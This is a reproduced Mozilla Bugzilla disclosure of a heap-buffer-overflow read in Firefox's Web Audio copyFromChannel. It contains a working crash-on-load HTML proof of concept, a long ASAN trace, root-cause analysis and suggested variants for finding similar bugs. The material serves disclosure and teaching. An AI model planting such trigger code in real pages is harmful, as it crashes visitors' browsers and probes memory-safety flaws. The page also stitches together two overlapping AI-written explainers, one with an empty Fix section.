Skip to content
Memory corruption Disclosed report Advanced

heap-buffer-overflow in CopyChannelDataToFloat

A crafted web page using the Web Audio API caused Firefox to read past the end of a heap buffer in CopyChannelDataToFloat when copying channel data into a typed array. The result is a heap-buffer-overflow read that crashes the browser process under ASAN.

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 5 days
  • Paid in 5 months
  • Disclosed after 5 days

Created attachment 9062462 crash.html (minimised testcase)

The following testcase crashes the latest ASAN build of Firefox 68.0a1 (SourceStamp=083106d8fc7407c880a3a044c83d4e15e5961063).

crash.html:

<script> function start() { o1953=new AudioContext(); o2133=o1953.createBuffer(29,22050,44100); o2183=o2133.getChannelData(12); o2248=new AudioBufferSourceNode(o1953, {buffer:o2133,loopEnd:0,loop:true,loopStart:384});; o2283=new Float32Array(524285); o2133.copyFromChannel(o2283,10);; } </script> <body onload="start()"></body>

ASAN output:

==6975==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x63200014e088 at pc 0x55cef80998e9 bp 0x7ffe7978a1d0 sp 0x7ffe79789980 READ of size 2097140 at 0x63200014e088 thread T0 (file:// Content) #0 0x55cef80998e8 in __asan_memcpy /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:23:3 #1 0x7fc75cb7c35d in PodCopy<float> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/PodOperations.h:99:5 #2 0x7fc75cb7c35d in CopyChannelDataToFloat /builds/worker/workspace/build/src/dom/media/webaudio/AudioBuffer.cpp:252 #3 0x7fc75cb7c35d in mozilla::dom::AudioBuffer::CopyFromChannel(mozilla::dom::TypedArray<float, &(js::UnwrapFloat32Array(JSObject*)), &(JS_GetFloat32ArrayData(JSObject*, bool*, JS::AutoRequireNoGC const&)), &(js::GetFloat32ArrayLengthAndData(JSObject*, unsigned int*, bool*, float**)), &(JS_NewFloat32Array(JSContext*, unsigned int))> const&, unsigned int, unsigned int, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/media/webaudio/AudioBuffer.cpp:332 #4 0x7fc75839d98c in mozilla::dom::AudioBuffer_Binding::copyFromChannel(JSContext*, JS::Handle<JSObject*>, mozilla::dom::AudioBuffer*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/AudioBufferBinding.cpp:474:9 #5 0x7fc75b1d6902 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3153:13 #6 0x7fc762a5de00 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:443:13 #7 0x7fc762a5de00 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:535 #8 0x7fc762a3e571 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:594:10 #9 0x7fc762a3e571 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3082 #10 0x7fc762a28018 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:10 #11 0x7fc762a5e773 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:563:13 #12 0x7fc762a603f2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:606:8 #13 0x7fc7636c7ae8 in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2647:10 #14 0x7fc75a795f29 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:267:37 #15 0x7fc75ba95a75 in Call<nsCOMPtrmozilla::dom::EventTarget > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12 #16 0x7fc75ba95a75 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:205 #17 0x7fc75ba451da in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1045:22 #18 0x7fc75ba4723e in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1240:17 #19 0x7fc75ba27ae1 in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:355:5 #20 0x7fc75ba27ae1 in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:349 #21 0x7fc75ba25d16 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:551:16 #22 0x7fc75ba2ca4e in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1046:11 #23 0x7fc75ea0e287 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1104:7 #24 0x7fc761899e02 in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6641:20 #25 0x7fc761898ec0 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6441:7 #26 0x7fc76189eb67 in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp #27 0x7fc756429495 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1313:3 #28 0x7fc75642808a in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:872:14 #29 0x7fc756422773 in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:710:9 #30 0x7fc756426335 in nsDocLoader::OnStopRequest(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:598:5 #31 0x7fc756427bd4 in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp #32 0x7fc753acb918 in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:568:22 #33 0x7fc757d48348 in DoUnblockOnload /builds/worker/workspace/build/src/dom/base/Document.cpp:8016:18 #34 0x7fc757d48348 in mozilla::dom::Document::UnblockOnload(bool) /builds/worker/workspace/build/src/dom/base/Document.cpp:7948 #35 0x7fc757d46dd5 in mozilla::dom::Document::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/Document.cpp:5109:3 #36 0x7fc757e523ab in applyImpl<mozilla::dom::Document, void (mozilla::dom::Document::)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1122:12 #37 0x7fc757e523ab in apply<mozilla::dom::Document, void (mozilla::dom::Document::)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1128 #38 0x7fc757e523ab in mozilla::detail::RunnableMethodImpl<mozilla::dom::Document*, void (mozilla::dom::Document::)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1174 #39 0x7fc7537dbc65 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32 #40 0x7fc75381bc21 in nsThread::ProcessNextEvent(bool, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14 #41 0x7fc753823844 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10 #42 0x7fc754b9401f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21 #43 0x7fc754a6a6be in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10 #44 0x7fc754a6a6be in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308 #45 0x7fc754a6a6be in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290 #46 0x7fc75e16c863 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27 #47 0x7fc76278596e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:919:20 #48 0x7fc754a6a6be in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10 #49 0x7fc754a6a6be in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308 #50 0x7fc754a6a6be in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290 #51 0x7fc762784adc in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:757:34 #52 0x55cef80cd72e in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28 #53 0x55cef80cd72e in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:263 #54 0x7fc777be5b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #55 0x55cef7feee1c in _start (/home/nils/browser/firefox/firefox/firefox+0x2fe1c)

0x63200014e088 is located 0 bytes to the right of 88200-byte region [0x632000138800,0x63200014e088) allocated by thread T0 (file:// Content) here: #0 0x55cef809aa2a in __interceptor_calloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:155:3 #1 0x7fc762c8cb51 in js_arena_calloc /builds/worker/workspace/build/src/obj-firefox/dist/include/js/Utility.h:382:10 #2 0x7fc762c8cb51 in js_pod_arena_calloc<unsigned char> /builds/worker/workspace/build/src/obj-firefox/dist/include/js/Utility.h:587 #3 0x7fc762c8cb51 in maybe_pod_calloc<unsigned char> /builds/worker/workspace/build/src/js/src/vm/MallocProvider.h:62 #4 0x7fc762c8cb51 in pod_callocCanGC<unsigned char> /builds/worker/workspace/build/src/js/src/vm/JSContext.h:227 #5 0x7fc762c8cb51 in AllocateArrayBufferContents /builds/worker/workspace/build/src/js/src/vm/ArrayBufferObject.cpp:450 #6 0x7fc762c8cb51 in js::ArrayBufferObject::createZeroed(JSContext*, unsigned int, JS::Handle<JSObject*>) /builds/worker/workspace/build/src/js/src/vm/ArrayBufferObject.cpp:1244 #7 0x7fc76343cefa in maybeCreateArrayBuffer /builds/worker/workspace/build/src/js/src/vm/TypedArrayObject.cpp:917:9 #8 0x7fc76343cefa in (anonymous namespace)::TypedArrayObjectTemplate<float>::fromLength(JSContext*, unsigned long, JS::Handle<JSObject*>) /builds/worker/workspace/build/src/js/src/vm/TypedArrayObject.cpp:941 #9 0x7fc75cb79587 in mozilla::dom::AudioBuffer::RestoreJSChannelData(JSContext*) /builds/worker/workspace/build/src/dom/media/webaudio/AudioBuffer.cpp:279:33 #10 0x7fc75cb7ed2e in mozilla::dom::AudioBuffer::GetChannelData(JSContext*, unsigned int, JS::MutableHandle<JSObject*>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/media/webaudio/AudioBuffer.cpp:382:8 #11 0x7fc75839c8d8 in mozilla::dom::AudioBuffer_Binding::getChannelData(JSContext*, JS::Handle<JSObject*>, mozilla::dom::AudioBuffer*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/AudioBufferBinding.cpp:407:9 #12 0x7fc75b1d6902 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3153:13 #13 0x7fc762a5de00 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:443:13 #14 0x7fc762a5de00 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:535 #15 0x7fc762a3e571 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:594:10 #16 0x7fc762a3e571 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3082 #17 0x7fc762a28018 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:10 #18 0x7fc762a5e773 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:563:13 #19 0x7fc762a603f2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:606:8 #20 0x7fc7636c7ae8 in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2647:10 #21 0x7fc75a795f29 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:267:37 #22 0x7fc75ba95a75 in Call<nsCOMPtrmozilla::dom::EventTarget > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12 #23 0x7fc75ba95a75 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:205 #24 0x7fc75ba451da in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1045:22 #25 0x7fc75ba4723e in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1240:17 #26 0x7fc75ba27ae1 in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:355:5 #27 0x7fc75ba27ae1 in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:349 #28 0x7fc75ba25d16 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:551:16 #29 0x7fc75ba2ca4e in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1046:11 #30 0x7fc75ea0e287 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1104:7 #31 0x7fc761899e02 in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6641:20 #32 0x7fc761898ec0 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6441:7 #33 0x7fc76189eb67 in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp #34 0x7fc756429495 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1313:3 #35 0x7fc75642808a in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:872:14 #36 0x7fc756422773 in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:710:9 #37 0x7fc756426335 in nsDocLoader::OnStopRequest(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:598:5 #38 0x7fc756427bd4 in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp #39 0x7fc753acb918 in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:568:22

SUMMARY: AddressSanitizer: heap-buffer-overflow /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:23:3 in __asan_memcpy Shadow bytes around the buggy address: 0x0c6480021bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c6480021bd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c6480021be0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c6480021bf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c6480021c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c6480021c10: 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c6480021c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c6480021c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c6480021c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c6480021c50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c6480021c60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==6975==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

This is a crash report against the Web Audio implementation in Firefox, specifically the AudioBuffer interface and its copyFromChannel method. AudioBuffer is the object you get from AudioContext.createBuffer(numberOfChannels, length, sampleRate); it holds one float sample array per channel, and copyFromChannel(destination, channelNumber, startInChannel) copies a slice of one channel's samples into a caller-supplied Float32Array. getChannelData(channel) returns the underlying Float32Array for a channel, materialising it lazily if the buffer has not yet been backed by JavaScript-visible storage.

The bug is a heap-buffer-overflow read inside CopyChannelDataToFloat in dom/media/webaudio/AudioBuffer.cpp, reached through AudioBuffer::CopyFromChannel. The report was filed against Mozilla and disclosed on 8 May 2019; the platform records the weakness as an out-of-bounds access and the severity as high.

Setup

The testcase was run against the latest ASAN build of Firefox 68.0a1, with SourceStamp=[redacted]. No account, extension or special configuration is involved: the trigger is a plain HTML page loaded in the content process, and the crash is detected by AddressSanitizer. The researcher attached a minimised testcase named crash.html.

Finding it

The testcase is short and mixes several Web Audio objects in ways that look inconsistent on purpose: a buffer with 29 channels and a length of 22050, a channel index of 12 passed to getChannelData, an AudioBufferSourceNode with a loop range that does not fit the buffer, and a copyFromChannel call that reads from channel 10 into a Float32Array of 524285 elements. The ASAN trace points at the copy routine and at the channel storage allocated by getChannelData.

Exploitation

Step 1: load the page

The whole trigger is the onload handler of the body:

HTML
<script>
function start() {
	o1953=new AudioContext();
	o2133=o1953.createBuffer(29,22050,44100);
	o2183=o2133.getChannelData(12);
	o2248=new AudioBufferSourceNode(o1953, {buffer:o2133,loopEnd:0,loop:true,loopStart:384});;
	o2283=new Float32Array(524285);
	o2133.copyFromChannel(o2283,10);;
}
</script>
<body onload="start()"></body>

new AudioContext() creates the context. createBuffer(29,22050,44100) creates an AudioBuffer with 29 channels, 22050 frames and a 44100 Hz sample rate. getChannelData(12) forces the channel data for channel 12 to be materialised as a JavaScript Float32Array, which is what allocates the backing store that later gets over-read. The AudioBufferSourceNode is constructed with loop:true, loopStart:384 and loopEnd:0, a loop range that is not consistent with the buffer length. Finally a destination Float32Array of 524285 elements is created and copyFromChannel(o2283, 10) is called, asking for channel 10 to be copied into it starting at offset 0.

Step 2: observe the ASAN report

ASAN aborts with a heap-buffer-overflow:

The read is 2097140 bytes, which is 524285 floats, exactly the length of the destination array. The faulting address is described as:

Text
0x63200014e088 is located 0 bytes to the right of 88200-byte region [0x632000138800,0x63200014e088)

88200 bytes is 22050 floats, the frame count of the buffer, so the copy runs off the end of a single channel's storage. The allocation stack shows where that region came from:

So the over-read region is the Float32Array created by RestoreJSChannelData when getChannelData(12) was called, and the copy performed by CopyChannelDataToFloat reads past its end. The rest of the stack is the normal path from the load event through the event handler into the binding: AudioBuffer_Binding::copyFromChannel, GenericMethod, the JS interpreter, JSEventHandler::HandleEvent, EventDispatcher::Dispatch, nsDocumentViewer::LoadComplete and the docshell load machinery.

Root cause

The copy routine in CopyChannelDataToFloat (called from AudioBuffer::CopyFromChannel) performs a PodCopy<float> of the requested number of elements without clamping it to the actual channel length. The destination array supplied by the caller is 524285 elements long, and the copy uses that size rather than the buffer's 22050 frames, so memcpy reads 2097140 bytes from a region that is only 88200 bytes. The channel storage itself was allocated correctly by RestoreJSChannelData; the mistake is in the bounds check on the copy, which does not limit the count to the channel's frame count. The report does not describe the exact check that was missing or how it was written.

Impact

A web page can make the content process read out of bounds past a Web Audio channel buffer. In this build the read is caught by ASAN and aborts the process; The report does not describe what happens in a non-instrumented build.. The report does not demonstrate anything beyond the crash and the over-read, and does not describe a path to code execution. The testcase triggers on page load, with no further interaction.

Fix

Variants to test

  1. Vary the destination length in copyFromChannel while keeping the buffer length small, to see whether the copy is clamped to the channel length or to the destination length. A positive result is an ASAN read past the end of the channel region.
  2. Vary startInChannel together with the destination length, so that the start offset plus the copy count exceeds the frame count. A positive result is the same over-read at a different offset.
  3. Call getChannelData on one channel and copyFromChannel on another, as in the testcase, to check whether the lazily allocated storage of one channel is used as the source for a copy of a different channel. A positive result is a read from a region whose size does not match the requested channel.
  4. Repeat with different channel counts and frame counts, including very small buffers, to see whether the clamp depends on the buffer size. A positive result is a crash on a buffer whose length is smaller than the destination array.
  5. Exercise the same pattern through an AudioBufferSourceNode with an inconsistent loop range, as the testcase does, to check whether the loop parameters influence the channel data state. A positive result is a crash that does not occur without the source node.

Hunting notes

This kind of bug lives in DOM bindings that copy data between JavaScript typed arrays and internal C++ buffers: Web Audio (AudioBuffer, copyFromChannel, getChannelData), media elements, canvas getImageData/putImageData, and any API that takes a caller-supplied typed array plus an offset and a length. The signal during review is a copy routine that uses the caller's array length or the requested count without clamping it to the internal buffer's length, especially where the internal storage is allocated lazily and its size is not the same as the requested one. The researcher ran the minimised testcase against an ASAN build and included the ASAN report, which pins the fault to CopyChannelDataToFloat and shows the allocation site in RestoreJSChannelData.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

A security researcher found a way to make Firefox read past the end of a piece of memory it had set aside for sound data. The trigger is a small web page that uses the browser's built-in audio features. When the page loads, Firefox tries to copy sound samples into a place that is far too small for the amount being copied, and it keeps reading beyond the edge of that memory. A special tool built into the test version of Firefox, called AddressSanitizer (ASAN), notices the over-read immediately and stops the browser.

Reading memory you are not supposed to read is called an out-of-bounds access. In this case it is a read, not a write, and ASAN stops the browser when it happens. The report was filed with Mozilla and made public on 8 May 2019. Mozilla rates the weakness as an out-of-bounds access and the severity as high.

Background: the pieces involved

Before walking through the test case, here are the concepts it relies on.

Web Audio API. An API (application programming interface) is a set of commands a web page can use to ask the browser to do something. The Web Audio API lets a page create, play and manipulate sound entirely inside the browser. Think of it as a mixing desk the page can control with JavaScript.

AudioContext. This is the object that represents the audio engine. Creating one is like switching the mixing desk on. Everything else in the test case hangs off it.

AudioBuffer. This is a container for sound samples. You create one with a certain number of channels (left, right, and so on), a certain number of frames (individual sample points in time) and a sample rate (how many samples per second). Internally it holds one array of numbers per channel. In Firefox these numbers are stored as floats, which are numbers with a decimal part, the usual way to represent sound digitally.

Float32Array. A JavaScript object that holds a list of floats. It is a typed array, meaning the browser knows exactly how much memory each entry takes, so it can be passed efficiently to and from the browser's internal code. Think of it as a row of numbered boxes, each holding one number.

copyFromChannel. A method on AudioBuffer. You give it a destination Float32Array, a channel number and a starting position, and it copies a slice of that channel's samples into your array. It is the browser's job to make sure it never copies more than the channel actually contains.

getChannelData. Another method on AudioBuffer. It hands you the underlying Float32Array for a channel so you can read or change the samples directly. Firefox is lazy here: it does not create the JavaScript-visible storage until someone actually asks for it. That lazy creation is called materialising the data, and it is where the memory region in this bug comes from.

AudioBufferSourceNode. An object that plays back an AudioBuffer. It has loop settings: loop turns looping on, loopStart and loopEnd say where the loop begins and ends.

Heap. The area of memory a program uses for things it creates while running, as opposed to memory reserved in advance. A heap-buffer-overflow means reading or writing past the end of one of those created blocks.

AddressSanitizer (ASAN). A debugging tool built into special test builds of Firefox. It places invisible guard zones around every block of memory and shouts immediately if code steps outside a block. Normal release builds do not have it, which is why the researcher used an ASAN build.

Content process. Firefox splits itself into several processes for safety. Web pages run in a content process, separated from the rest of the browser. The crash here happens in that process.

Setup

The test case was run against the latest ASAN build of Firefox 68.0a1, with SourceStamp=[redacted]. No account, extension or special configuration is needed. The trigger is a plain HTML page loaded in the content process, and ASAN is what catches the crash. The researcher attached a minimised test case named crash.html. Minimised means every line that was not needed to reproduce the problem has been removed, so what is left is the smallest page that still triggers it.

Finding it

The test case is short and deliberately mixes several Web Audio objects in ways that look inconsistent: a buffer with 29 channels and a length of 22050, a request for channel 12, a source node with a loop range that does not fit the buffer, and a copyFromChannel call that reads from channel 10 into a Float32Array of 524285 elements. The interesting part is how the lazily created channel storage interacts with the copy routine, which trusts a length that does not match the allocation.

Exploitation

Step 1: load the page

The whole trigger is the onload handler of the body. onload is an event that fires once the page has finished loading, so the function runs automatically as soon as the page appears.

HTML
<script>
function start() {
	o1953=new AudioContext();
	o2133=o1953.createBuffer(29,22050,44100);
	o2183=o2133.getChannelData(12);
	o2248=new AudioBufferSourceNode(o1953, {buffer:o2133,loopEnd:0,loop:true,loopStart:384});;
	o2283=new Float32Array(524285);
	o2133.copyFromChannel(o2283,10);;
}
</script>
<body onload="start()"></body>

Line by line:

  1. function start() { defines a function called start. Nothing runs yet; the function is just prepared.
  2. o1953=new AudioContext(); switches on the audio engine. The names like o1953 are just variable names.
  3. o2133=o1953.createBuffer(29,22050,44100); creates an AudioBuffer with 29 channels, 22050 frames and a 44100 Hz sample rate. In other words, 29 separate rows of 22050 sound samples each.
  4. o2183=o2133.getChannelData(12); asks for the raw sample array of channel 12. This is the important line: because Firefox creates that storage lazily, this call is what allocates the block of memory that later gets over-read. The result is stored in o2183 but never used again.
  5. o2248=new AudioBufferSourceNode(o1953, {buffer:o2133,loopEnd:0,loop:true,loopStart:384});; creates a player for the buffer, with looping switched on, the loop starting at frame 384 and ending at frame 0. The loop starts at frame 384 and ends at frame 0. The double semicolon at the end is harmless.
  6. o2283=new Float32Array(524285); creates the destination array, a row of 524285 boxes for floats. That is far more than the 22050 samples a single channel holds.
  7. o2133.copyFromChannel(o2283,10);; asks Firefox to copy channel 10 into that destination array, starting at position 0. Because the destination is much larger than the channel, the copy routine ends up reading well past the end of the channel's memory.
  8. } closes the function.
  9. <body onload="start()"> tells the browser to run start when the page finishes loading, so simply opening the page is enough.

